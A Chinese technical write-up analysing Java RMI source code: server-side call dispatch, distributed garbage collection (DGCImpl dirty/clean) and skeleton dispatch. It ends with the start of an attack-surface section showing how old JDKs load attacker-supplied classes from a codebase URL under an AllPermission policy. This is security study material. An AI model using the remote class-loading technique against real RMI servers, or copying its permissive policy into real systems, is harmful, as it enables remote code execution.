与前面的服务发现过程中的注册中心部分一样,客户端进行远程调用时服务端同样会执行到 sun.rmi.transport.tcp.TCPTransport#handleMessages 进而调用到 UnicastServerRef#dispatch

只不过这次在 UnicastServerRef#dispatch 中不会调用 oldDispatch 函数而是继续往下执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// ==== 读取远程调用头部(先读一个 int)====
ObjectInput in;
try {
in = call.getInputStream(); // 生命周期由 RemoteCall 控制,这里只使用
num = in.readInt(); // 旧协议: 方法索引;新协议: 负版本标记
} catch (Exception readEx) {
// 统一转成 UnmarshalException,便于上层按 RMI 语义回传
throw new UnmarshalException("error unmarshalling call header", readEx);
}

// ==== 旧协议:需要 skeleton 才能分发 ====
if (num >= 0) {
if (skel != null) {
// 交由旧协议分发入口:内部会继续读调用头等并完成分发
oldDispatch(obj, call, num);
return; // 分发完成直接返回
} else {
// 客户端按 1.1 说话,但服务端没有 skeleton,协商失败
throw new UnmarshalException(
"skeleton class not found but required for client version");
}


// ==== 新协议(1.2+):继续读取方法哈希 long ====
try {
op = in.readLong(); // 客户端在 header 中写入的 Method 哈希
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header", readEx);
}

首先根据哈希从哈希表中找到对应的方法:

1
2
3
4
5
6
7
// 通过方法哈希定位服务端可调用的 Method(映射在启动时或类加载时建立)
Method method = hashToMethod_Map.get(op);
if (method == null) {
// 客户端调用的方法在服务端不受支持(版本不一致/接口变更)
throw new UnmarshalException(
"unrecognized method hash: method not supported by remote object");
}

之后调用 unmarshalParametersChecked 函数对参数进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/**
* 使用给定的 MarshalInputStream 反序列化给定实例的给定方法的参数。
* 在反序列化过程中执行所有额外的检查。
*/
private Object[] unmarshalParametersChecked(
DeserializationChecker checker,
Method method, MarshalInputStream in)
throws IOException, ClassNotFoundException {
// 获取当前方法调用的 ID
int callID = methodCallIDCount.getAndIncrement();

// 创建自定义检查器,并设置给输入流
MyChecker myChecker = new MyChecker(checker, method, callID);
in.setStreamChecker(myChecker);

try {
// 获取方法的参数类型
Class<?>[] types = method.getParameterTypes();

// 创建一个数组来存储反序列化后的参数值
Object[] values = new Object[types.length];

// 依次反序列化每个参数
for (int i = 0; i < types.length; i++) {
myChecker.setIndex(i); // 设置当前参数的索引
values[i] = unmarshalValue(types[i], in); // 反序列化当前参数值
}

// 完成反序列化并结束检查
myChecker.end(callID);

// 返回反序列化后的参数数组
return values;
} finally {
// 清除输入流中的检查器
in.setStreamChecker(null);
}
}

/*
* 在 1.2 新协议的参数解组期间,调用栈上只会存在“系统类”(class loader 为 null),
* 因此告诉 MarshalInputStream 不必去按“栈上第一个非空类加载器”的默认逻辑解析类,
* 省去无意义的解析与潜在的类加载歧义。
*/
MarshalInputStream marshalStream = (MarshalInputStream) in;
marshalStream.skipDefaultResolveClass();

// 如果启用了调用日志,打印“对象标识 + 具体方法”
logCall(obj, method);

// ==== 解组参数 ====
Object[] params = null;
try {
// 可选:读取自定义调用数据(例如上下文扩展/标头等;没有扩展则可能是 no-op)
unmarshalCustomCallData(in);

// 按 Method 签名从流中解出参数(含基本类型与引用类型转换)
params = unmarshalParameters(obj, method, marshalStream);
} catch (AccessException aex) {
// 兼容性要求:AccessException 不包装进 UnmarshalException
// 另外丢弃输入流里可能“挂着”的远端引用(避免 GC 泄漏)
((StreamRemoteCall) call).discardPendingRefs();
throw aex;
} catch (java.io.IOException | ClassNotFoundException e) {
// 解参数失败:同样丢弃挂起的远端引用,随后包装为 UnmarshalException
((StreamRemoteCall) call).discardPendingRefs();
throw new UnmarshalException("error unmarshalling arguments", e);
} finally {
// 无论成功与否,都尽早释放输入流(之后不再需要从 in 读取)
call.releaseInputStream();
}

之后反射调用远程对象的方法,然后将结果通过 marshalValue 序列化后写入输出流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
    // ==== 在目标远程对象上“上行调用” ====
Object result;
try {
// 通过反射调用目标方法;用户代码抛出的异常会被包裹在 ITE 中
result = method.invoke(obj, params);
} catch (InvocationTargetException e) {
// 透出被调方法的真实异常,让下方统一序列化并回传
throw e.getTargetException();
}

// ==== 序列化返回值 ====
try {
// true 表示“正常返回”分支(protocol 会在此时向对端标记正常返回)
ObjectOutput out = call.getResultStream(true);
Class<?> rtype = method.getReturnType();
if (rtype != void.class) {
marshalValue(rtype, result, out); // 按返回类型写回
}
} catch (IOException ex) {
// 这里抛 MarshalException 会有一个已知问题:
// 上面已标记为“正常返回”,此处再回写异常会破坏流的一致性(旧 skeleton 也有同样问题)
throw new MarshalException("error marshalling return", ex);
}
} catch (Throwable e) {
// 统一的“异常回传”路径:把任意 Throwable 序列化回客户端
Throwable origEx = e;
logCallException(e); // 记录服务端异常日志

// false 表示“异常返回”分支,协议层会写入相应标记
ObjectOutput out = call.getResultStream(false);

// 将 Error / RemoteException 包装为带语义的服务端异常类型
if (e instanceof Error) {
e = new ServerError("Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException("RemoteException occurred in server thread",
(Exception) e);
}

// 可选:为了安全/体积等需求,剥离堆栈(如果配置了 suppressStackTraces)
if (suppressStackTraces) {
clearStackTraces(e);
}

// 把异常对象写回给客户端(客户端再据此抛/还原)
out.writeObject(e);

// AccessException 需要让上传输层把连接标记为不可复用(例如权限失败)
if (origEx instanceof AccessException) {
throw new IOException("Connection is not reusable", origEx);
}
} finally {
// 兜底释放:即使上面已释放过输入流,也再次调用保证稳妥(通常是幂等)
call.releaseInputStream(); // 兼容老 skeleton 的行为
call.releaseOutputStream(); // 完成回写后释放输出流
}

DGC

DGC(Distributed Garbage Collection,分布式垃圾回收)是 RMI 提供的分布式垃圾回收机制,旨在管理远程对象的生命周期,确保远程对象在不再需要时能被自动回收。其主要作用是确保远程对象的生命周期得到正确管理,避免由于客户端和服务器之间的引用关系错误或遗留引用而导致的内存泄漏。

DGC 初始化

服务端通过 ObjectTable#putTarget 将注册的远程对象放入 objTable 中,里面有默认的 DGCImpl 对象,这个类就是是 RMI 的分布式垃圾回收类。这里分析一下 DGCImpl 对象是什么时候被放到 objTable 中的。

当服务端创建 Target 对象时,permanent 默认为 true,因此会调用 pinImpl 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 为远程对象 {@code impl} 构造一个带有指定 {@link ObjID} 的 {@code Target}。
*
* <p><b>参数含义</b>:
* <ul>
* <li>{@code impl}:真正执行业务逻辑的远程对象实例。</li>
* <li>{@code disp}:入站调用分发器(根据协议/方法哈希把调用路由到 {@code impl})。</li>
* <li>{@code stub}:对外暴露给客户端的存根对象(可为 {@code null},视导出策略)。</li>
* <li>{@code id}:该远程对象在 {@code ObjectTable} 中注册用的全局唯一标识。</li>
* <li>{@code permanent}:生命周期策略:
* <ul>
* <li>{@code true}:将通过 {@link #pinImpl()} 额外保持<strong>强引用</strong>以防本地 GC 回收;
* 不参与分布式/本地 GC 的自动“摘除”。</li>
* <li>{@code false}:仅以弱引用跟踪,可被本地 GC 回收;回收后由 reaper 线程据
* {@code reapQueue} 做清理/反注册。</li>
* </ul>
* <em>说明:</em>“永久”并不强制让服务器常驻;JVM 仍可按正常条件退出。</li>
* </ul>
* </p>
*/
public Target(Remote impl, Dispatcher disp, Remote stub, ObjID id, boolean permanent) {
// 使用弱引用跟踪 impl 的可达性:
// 当 impl 不再被应用层强引用且被 GC 回收时,对应 WeakRef 会进入 ObjectTable.reapQueue,
// 由 ObjectTable 的回收线程做注销(如从对象表移除、释放 LiveRef、通知 DGC 等)。
this.weakImpl = new WeakRef(impl, ObjectTable.reapQueue);
// [...]

// 生命周期策略:是否把 impl “钉住”以避免本地 GC 回收导致的自动 unexport
this.permanent = permanent;
if (permanent) {
// 对“永久”对象建立强引用/keep-alive(具体由 pinImpl 实现),
// 这样即便没有外部强引用也不会被本地 GC 误收。
pinImpl();
}
}

pinImpl 会进一步调用到 WeakRef#pin 进而调用到 DGCImpl 的静态方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 将目标对象的实现从“弱可达”提升为“强可达”(pin)。
*
* <p>语义/目的:
* <ul>
* <li>默认情况下,ObjectTable 只持有实现对象的 <b>弱引用</b>(WeakRef),
* 以便当没有任何远程/本地强引用时,JVM 可回收该实现对象。</li>
* <li>当需要确保实现对象在一段时间内<b>绝不被本地 GC 回收</b>(例如刚导出、
* 正在处理入站调用、或处于“永久导出”策略)时,调用本方法将 WeakRef
* 转为内部的强引用,从而“固定(pin)”实现对象。</li>
* <li>固定后,对象表中的“存活性”完全由这条 WeakRef/强引用逻辑负责,
* 与分布式 GC(DGC)/租约机制配合使用可防止过早回收。</li>
* </ul>
*
* <p>并发:使用 Target 实例作为锁,避免与其它生命周期操作并发修改
* weakImpl 的内部状态。</p>
*/
synchronized void pinImpl() {
weakImpl.pin();
}

/**
* 将内部弱引用“固定”为强引用(若尚未固定)。
*
* <p>实现细节:
* <ul>
* <li>当 {@code strongRef == null} 时,从弱引用 {@code get()} 读取目标对象,
* 并缓存到 {@code strongRef},从而形成一条本地强引用,阻止 GC。</li>
* <li>重复调用是幂等的:已固定时不做任何操作。</li>
* <li>开启 VERBOSE 日志时,会输出固定后的强引用指向对象,便于诊断。</li>
* </ul>
*
* <p>注意:
* <ul>
* <li>固定对象必须与相应的“解固定(unpin)/引用计数减少”配对使用,
* 否则可能导致服务端实现对象长期不能被回收(内存泄漏)。</li>
* <li>该方法仅影响<b>本地 GC 可达性</b>;远端持有的引用与 DGC 租约续约
* 仍然由 DGC 逻辑单独管理。</li>
* </ul>
*/
public synchronized void pin() {
// 尚未固定则建立强引用
if (strongRef == null) {
strongRef = get(); // 从弱引用读取目标对象

if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "strongRef = " + strongRef);
}
}
}

我们知道,当一个类的静态方法或者静态成员被访问的时候,会触发隐式类加载,类的静态代码块被执行并且类的静态变量被初始化。

首先租约时长 leaseValue 会被初始化为默认值 10 分钟。

1
2
3
4
5
6
7
8
9
10
/**
* RMI 分布式 GC(DGC)授予客户端的“租约时长”(毫秒)。
*
* 来源与默认:
* - 来自系统属性:{@code java.rmi.dgc.leaseValue}(单位:毫秒)
* - 若未设置该属性,默认值为 {@code 600_000}(10 分钟)
*/
private static final long leaseValue =
AccessController.doPrivileged(
new GetLongAction("java.rmi.dgc.leaseValue", 600000));

另外还会执行 DGCImpl 的静态代码代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static {
/*
* 在“受控/隔离”的上下文中导出(注册)单例 DGCImpl,
* 避免受当前线程任意上下文类加载器与权限的影响。
*/
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
// 1) 以系统类加载器进行初始化,避免被调用方线程的 CCL 干扰
ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();
try {
Thread.currentThread().setContextClassLoader(ClassLoader.getSystemClassLoader());

/*
* 2) 手动将 DGC 服务放入对象表,而不是调用 UnicastServerRef.exportObject,
* 这样不会立刻触发传输层开始监听(exportObject 会导致 transport 进入监听状态)。
* 手工注册后,DGC 的 ServerRef 仍可按需被解析和调用。
*/
try {
dgc = new DGCImpl(); // DGC 业务实现(单例)
ObjID dgcID = new ObjID(ObjID.DGC_ID); // 约定的保留 ObjID(专用于 DGC)
LiveRef ref = new LiveRef(dgcID, 0); // 端口 0:使用传输层默认端点/端口
// ServerRef(分发器),附带入站流校验钩子(反序列化前置检查)
UnicastServerRef disp = new UnicastServerRef(ref, DGCImpl::checkInput);

// 生成对外可见的代理(stub):把远程引用封装为 JRMP 动态代理
Remote stub = Util.createProxy(DGCImpl.class, new UnicastRef(ref), true);

// 兼容旧协议(1.1 stub):设置 skeleton,供旧式调用路径使用
disp.setSkeleton(dgc);

// 3) 构造“最小权限”的接受权限集,仅允许 accept/resolve
Permissions perms = new Permissions();
perms.add(new SocketPermission("*", "accept,resolve"));
ProtectionDomain[] pd = { new ProtectionDomain(null, perms) };
AccessControlContext acceptAcc = new AccessControlContext(pd);

// 4) 在受限 ACC 下创建 Target:
// Target 会捕获该 ACC;后续 serviceCall 分发时将以此 ACC 执行敏感操作。
Target target = AccessController.doPrivileged(
new PrivilegedAction<Target>() {
public Target run() {
// permanent=true:DGC 作为“永久对象”,不参与一般的本地/分布式 GC 摘除
return new Target(dgc, disp, stub, dgcID, true);
}
},
acceptAcc // 用受限权限创建并绑定 Target 的执行上下文
);

// 5) 注册到全局对象表:建立 ObjID → Target 映射,供入站调用按 ID 定位
ObjectTable.putTarget(target);

} catch (RemoteException e) {
// 初始化服务器侧 DGC 失败即为致命错误
throw new Error("exception initializing server-side DGC", e);
}
} finally {
// 6) 恢复调用方原始 CCL,避免影响外部代码的类加载行为
Thread.currentThread().setContextClassLoader(savedCcl);
}
return null;
}
});
}

这部分的主要逻辑为:

  1. DGCImpl 的设计是单例模式,因此首先会在静态代码快中创建唯一的 DGCImpl 实例:

    1
    dgc = new DGCImpl();  // 创建 DGCImpl 的实例
  2. 创建用于远程通信的 LiveRef,并封装为 UnicastServerRef。其中 ObjId 为 2,监听端口随机。

    1
    2
    3
    ObjID dgcID = new ObjID(ObjID.DGC_ID);  // 创建 DGC 的 ObjID
    LiveRef ref = new LiveRef(dgcID, 0); // 创建 LiveRef 引用
    UnicastServerRef disp = new UnicastServerRef(ref, DGCImpl::checkInput); // 创建 UnicastServerRef
  3. 和注册中心一样,UnicastServerRef#setSkeleton 会调用 Util.createSkeleton 创建注册中心 DGCImpl_Skel 的骨架类

    1
    disp.setSkeleton(dgc);  // 设置 Skeleton
  4. 创建 DGCImpl 的存根对象 DGCImpl_Stub

    1
    2
    // 创建 DGCImpl 的远程代理 (Stub)
    Remote stub = Util.createProxy(DGCImpl.class, new UnicastRef(ref), true);
  5. 创建 Target 对象并存放至 ObjectTable 中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // 使用 PrivilegedAction 创建 Target 对象
    Target target = AccessController.doPrivileged(
    new PrivilegedAction<Target>() {
    public Target run() {
    return new Target(dgc, disp, stub, dgcID, true);
    }
    }, acceptAcc);

    // 将 target 放入 ObjectTable 中
    ObjectTable.putTarget(target);

客户端部分

当注册中心返回一个 Stub 给客户端时,其跟踪 Stub 在客户端中的使用。当再没有更多的对 Stub 的引用时,或者如果引用的“租借”过期(租期默认 10 分钟)并且没有更新,服务端将垃圾回收远程对象。客户端可以调用 dirty 用来续租,也可以调用 clean 用来清除远程对象。

类似注册中心,客户端本地也会生成一个 DGCImpl_Stub,并调用 DGCImpl_Stub#dirty,用来向服务端”租赁”远程对象的引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/**
* 客户端存根:向远端 DGC 服务发送 {@code dirty} 请求以“声明/续约”当前 JVM
* 持有的远程对象引用,并返回服务器授予的 {@link java.rmi.dgc.Lease}。
*
* <p>实现要点:
* 1) 通过 {@code ref.newCall(...)} 创建一次 JRMP 调用;
* 2) 将 {@code ObjID[]}、序列号({@code long})以及当前 {@code Lease} 编组成请求参数;
* 3) 发送请求,随后对返回值设置【输入过滤器】(JEP 290 风格)后再反序列化;
* 4) 按异常类型决定连接是否可复用;完成调用收尾。</p>
*
* <p>安全性:在反序列化返回值(Lease)之前对 {@link ObjectInputStream}
* 设置 {@code leaseFilter} 白名单,降低反序列化风险(通过
* {@code AccessController.doPrivileged} 执行以兼容可能存在的安全管理器策略)。</p>
*/
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1,
long $param_long_2,
java.rmi.dgc.Lease $param_Lease_3)
throws java.rmi.RemoteException {
try {
// 1) 构造远程调用(op=1 对应 DGC.dirty)
java.rmi.server.RemoteCall call =
ref.newCall((java.rmi.server.RemoteObject) this, operations, 1, interfaceHash);

// 2) 编组参数:ObjID[]、sequence、Lease
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1); // 远程对象标识集合
out.writeLong($param_long_2); // 递增序列号(去重/乱序控制)
out.writeObject($param_Lease_3); // 客户端携带的租约(含 VMID)
} catch (java.io.IOException e) {
// 参数编组失败 → 按 RMI 规范抛 MarshalException
throw new java.rmi.MarshalException("error marshalling arguments", e);
}

// 3) 发送请求
ref.invoke(call);

java.rmi.dgc.Lease $result;
// 记录底层连接引用,出错时决定是否复用
Connection connection = ((StreamRemoteCall) call).getConnection();

try {
// 4) 反序列化返回值(Lease)
java.io.ObjectInput in = call.getInputStream();

// 若是 OIS,则先安装对象输入过滤器,仅允许 DGC 相关类型
if (in instanceof ObjectInputStream) {
ObjectInputStream ois = (ObjectInputStream) in;
AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
ois.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
return null;
});
}

$result = (java.rmi.dgc.Lease) in.readObject();

} catch (java.io.IOException | java.lang.ClassNotFoundException e) {
// 返回值解组失败:出于保守考虑,不再复用该连接
if (connection instanceof TCPConnection) {
((TCPConnection) connection).getChannel().free(connection, /*reuse*/ false);
}
// 并按 RMI 规范抛 UnmarshalException
throw new java.rmi.UnmarshalException("error unmarshalling return", e);

} finally {
// 5) 调用收尾(释放流/内部资源;按 StreamRemoteCall 语义通常不再抛 IO)
ref.done(call);
}

return $result;

} catch (java.lang.RuntimeException e) {
// 本地侧运行时异常:原样抛出(连接释放由 finally/上面分支负责)
throw e;

} catch (java.rmi.RemoteException e) {
// 远程异常:原样抛出(含通信/服务端 RemoteException 等)
throw e;

} catch (java.lang.Exception e) {
// 未在方法签名中声明的受检异常 → 包装为 UnexpectedException
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}

前面在服务调用分析过:

  • ref.invoke(call) 会有调用链 invoke => UnicastRef#invoke => executeCall() => readObject(),其中 executeCall 会在远程调用异常的时候将异常对象反序列化。
  • 如果正常调用,dirty 后续会对返回的对象反序列化。

服务端部分

因为也是远程调用,因此服务端同样会通过 sun.rmi.transport.tcp.TCPTransport#handleMessages 函数处理请求。然后又因为 DGCImpl 对应的 Target 与注册中心类似,因此有调用链 handleMessages => UnicastServerRef#dispatch => oldDispatch

oldDispatch 会调用 DGCImpl_Skel#dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* 使用 RMI 1.1 存根/骨架(Stub/Skeleton)协议在服务器端进行调度。
* <p>
* 该路径以“操作编号(op)+ 方法哈希(hash)”为依据,将请求分发给骨架处理:
* 1) 从调用流获取输入;2)(必要时)调整类解析策略;3) 读取方法哈希等头部字段;
* 4)(可选)解组自定义调用数据;5) 调用骨架的 {@code dispatch} 执行目标方法并写回结果/异常。
* </p>
*
* <p><b>DGC 特殊处理:</b>若当前骨架为 {@code DGCImpl_Skel}(通过反射检测),
* 则对反序列化输入流调用 {@code useCodebaseOnly()},使其在类解析时只依据
* 远端提供的代码库注解(而不是回退到栈上的其他类加载器)。这有助于在旧协议下
* 保持一致的加载语义并降低上下文类加载器干扰。</p>
*
* <p><b>异常处理:</b>本方法抛出的异常由上层捕获后进行 RMI 语义的封装并回传给客户端。</p>
*
* @param obj 目标远程对象
* @param call 调用上下文(含输入/输出流)
* @param op 操作编号(旧协议下的方法索引;真正匹配仍依赖方法哈希)
* @throws Exception 读取头部/反序列化/分发失败等异常
*/
private void oldDispatch(Remote obj, RemoteCall call, int op) throws Exception {
long hash; // 存根与骨架匹配的 64-bit 方法哈希

// 1) 获取输入流:用于读取头部与后续参数
ObjectInput in = call.getInputStream();

try {
// 2) 若骨架为 DGCImpl_Skel,则仅按“远端代码库”解析类,避免使用栈上的其他类加载器
// 使用反射是为了避免对 DGCImpl_Skel 的编译期强依赖(兼容不同构建/版本)。
Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel");
if (clazz.isAssignableFrom(skel.getClass())) {
// 仅当骨架类型兼容时才调整解析策略
((MarshalInputStream) in).useCodebaseOnly();
}
} catch (ClassNotFoundException ignore) {
// 目标环境可能无该类(例如裁剪构建/新版本移除 skeleton),忽略即可
}

// [...]

// 3) 委托骨架按 (op, hash) 完成参数解组、目标方法调用与结果/异常写回
// 该调用内抛出的异常会继续冒泡到上层,由上层统一封装回传客户端。
skel.dispatch(obj, call, op, hash);
}

DGCImpl_Skel#dispatch 中对应 cleandirty 两种请求的处理都涉及对参数的反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
/**
* DGCImpl 的 Skeleton 分发入口(RMI 1.1 / JRMP 旧协议风格)。
*
* <p>职责:校验接口签名哈希 → 解组参数 → 调用目标方法 → 组装并写回返回值。</p>
*
* <p><b>方法编号(opnum)约定:</b>
* <ul>
* <li>0 → {@code clean(ObjID[], long, VMID, boolean)}</li>
* <li>1 → {@code dirty(ObjID[], long, Lease)}</li>
* </ul>
* 非法编号会抛出 {@link java.rmi.UnmarshalException}("invalid method number")。</p>
*
* <p><b>接口哈希:</b>入参 {@code hash} 必须等于本地 {@code interfaceHash},
* 以确保客户端存根与服务端骨架/接口版本匹配,否则抛出
* {@link java.rmi.server.SkeletonMismatchException}。</p>
*
* <p><b>异常约定:</b>
* <ul>
* <li>参数解组异常 → 调用 {@code discardPendingRefs()} 丢弃挂起远端引用,然后抛
* {@link java.rmi.UnmarshalException}。</li>
* <li>返回值编组异常 → 抛 {@link java.rmi.MarshalException}。</li>
* <li>被调方法抛出的运行时异常/错误 → 由外围调用链按 RMI 语义进一步包装/回传。</li>
* </ul>
* </p>
*
* @param obj 远程对象实例(应为 DGCImpl)
* @param remoteCall 传输层封装的本次远程调用(含编组流)
* @param opnum 方法编号(见上)
* @param hash 接口签名哈希(用于版本/兼容性校验)
* @throws Exception 见上面的异常约定
*/
public void dispatch(java.rmi.Remote obj,
java.rmi.server.RemoteCall remoteCall,
int opnum, long hash) throws java.lang.Exception {
// 1) 接口哈希校验:确保 stub 与 skeleton/接口定义一致
if (hash != interfaceHash) {
throw new java.rmi.server.SkeletonMismatchException("interface hash mismatch");
}

// 2) 类型收窄:将通用 Remote/RemoteCall 转为具体实现以使用其特性
sun.rmi.transport.DGCImpl server = (sun.rmi.transport.DGCImpl) obj;
StreamRemoteCall call = (StreamRemoteCall) remoteCall;

// 3) 按方法编号分派
switch (opnum) {
case 0: // clean(ObjID[], long, VMID, boolean)
{
java.rmi.server.ObjID[] $param_arrayOf_ObjID_1;
long $param_long_2;
java.rmi.dgc.VMID $param_VMID_3;
boolean $param_boolean_4;
try {
// —— 参数解组:顺序必须与客户端写入一致 ——
java.io.ObjectInput in = call.getInputStream();
$param_arrayOf_ObjID_1 = (java.rmi.server.ObjID[]) in.readObject();
$param_long_2 = in.readLong();
$param_VMID_3 = (java.rmi.dgc.VMID) in.readObject();
$param_boolean_4 = in.readBoolean();
} catch (ClassCastException | java.io.IOException | ClassNotFoundException e) {
// 解组失败:丢弃挂起引用,抛 UnmarshalException
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
// 输入流在参数读取完毕后尽早释放
call.releaseInputStream();
}

// —— 实际调用:租约清理 ——
server.clean($param_arrayOf_ObjID_1, $param_long_2, $param_VMID_3, $param_boolean_4);

try {
// 无返回值:仅获取“正常返回”结果流以写入协议标记并完成返回
call.getResultStream(true);
} catch (java.io.IOException e) {
// 注意:此时已标记“正常返回”,再抛异常会让上层按返回编组失败处理
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}

case 1: // dirty(ObjID[], long, Lease)
{
java.rmi.server.ObjID[] $param_arrayOf_ObjID_1;
long $param_long_2;
java.rmi.dgc.Lease $param_Lease_3;
try {
// —— 参数解组 ——
java.io.ObjectInput in = call.getInputStream();
$param_arrayOf_ObjID_1 = (java.rmi.server.ObjID[]) in.readObject();
$param_long_2 = in.readLong();
$param_Lease_3 = (java.rmi.dgc.Lease) in.readObject();
} catch (ClassCastException | java.io.IOException | ClassNotFoundException e) {
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}

// —— 实际调用:续租 ——
java.rmi.dgc.Lease $result =
server.dirty($param_arrayOf_ObjID_1, $param_long_2, $param_Lease_3);

try {
// 正常返回:写回 Lease 结果对象
java.io.ObjectOutput out = call.getResultStream(true);
out.writeObject($result);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}

default:
// 未知方法编号:协议/版本不匹配或客户端错误
throw new java.rmi.UnmarshalException("invalid method number");
}
}

RMI 攻击面

远程类加载(6u45/7u21 前)

RMI 的一个特点就是动态加载类,如果当前 JVM 中没有某个类的定义,它可以从远程 URL 去下载这个类的 class。

例如当客户端调用远程方法时,参数对象会被序列化后传输到服务器端。为了成功传输和处理这些对象,服务器端需要能够反序列化客户端传递的对象。如果服务器端的类路径中没有相应的类,反序列化就会失败,抛出 ClassNotFoundException

为了解决这个问题,RMI 提供了一种 动态类加载 机制。当客户端传递的对象在服务器端找不到时,服务器会根据配置自动从指定的位置加载相应的类字节码。这通常是通过设置 java.rmi.server.codebase 属性来实现的,并且服务端和客户端都支持这个功能。

代码示例

java.rmi.server.codebase 属性可以在 Java 代码中通过 Java 启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:8000/" 来设置,也可以使用如下代码设置:

1
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");`

提示

老版本 JDK(6u45/7u21 之前) 的默认配置下,客户端把“代码库(codebase)URL”作为序列化注解写进了 RMI 数据流;服务器在反序列化时会读取这个注解,并把它当作该类的远程加载位置来用,从而去这个 URL 下载类。

然而无论是客户端还是服务端要远程加载类时,出于安全考虑,会进行一系列权限控制。这些控制由 Java 安全管理器 (SecurityManager) 和 安全策略文件java.security.policy)决定。

首先是 Java 安全管理器,因为我们通过网络加载外部类并执行方法,所以我们必须要有一个安全管理器来进行管理,如果没有设置安全管理,则 RMI 不会动态加载任何类。通常我们使用如下代码设置安全管理器:

1
2
3
4
// 如果没有安全管理器,则创建并设置一个新的安全管理器实例。
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}

另外我们还需要设置 java.security.policy 为指定的安全策略文件文件来确保 动态类加载 能够正常工作并且不引发安全异常。

java.security.policy 可以使用启动参数 -Djava.security.policy=rmi.policy 来指定,也可以使用如下代码指定:

1
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("rmi.policy").toString());

在安全策略文件(这里我们指定为 rmi.policy)中需要授予执行 RMI 相关操作的权限。

1
2
3
grant {
permission java.security.AllPermission;
};

我们在客户端 RMI 远程调用时传入了一个服务端不存在的类对象 Calc

1
hello.sayHello(new Calc());

服务端在反序列时 Calc 对象时发现 Calc 类不存在,于是会从 java.rmi.server.codebase 指定的 URL 中寻找 Calc.class 并加载。加载完 Calc.class 便会对传入的 Calc 对象参数进行反序列化。

代码分析

反序列化触发类加载的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
findClass:361, URLClassLoader (java.net)
loadClass:424, ClassLoader (java.lang)
loadClass:411, ClassLoader (java.lang)
loadClass:349, Launcher$AppClassLoader (sun.misc)
loadClass:411, ClassLoader (java.lang)
loadClass:1207, LoaderHandler$Loader (sun.rmi.server)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClassForName:1221, LoaderHandler (sun.rmi.server)
loadClass:453, LoaderHandler (sun.rmi.server)
loadClass:186, LoaderHandler (sun.rmi.server)
loadClass:637, RMIClassLoader$2 (java.rmi.server)
loadClass:264, RMIClassLoader (java.rmi.server)
resolveClass:219, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
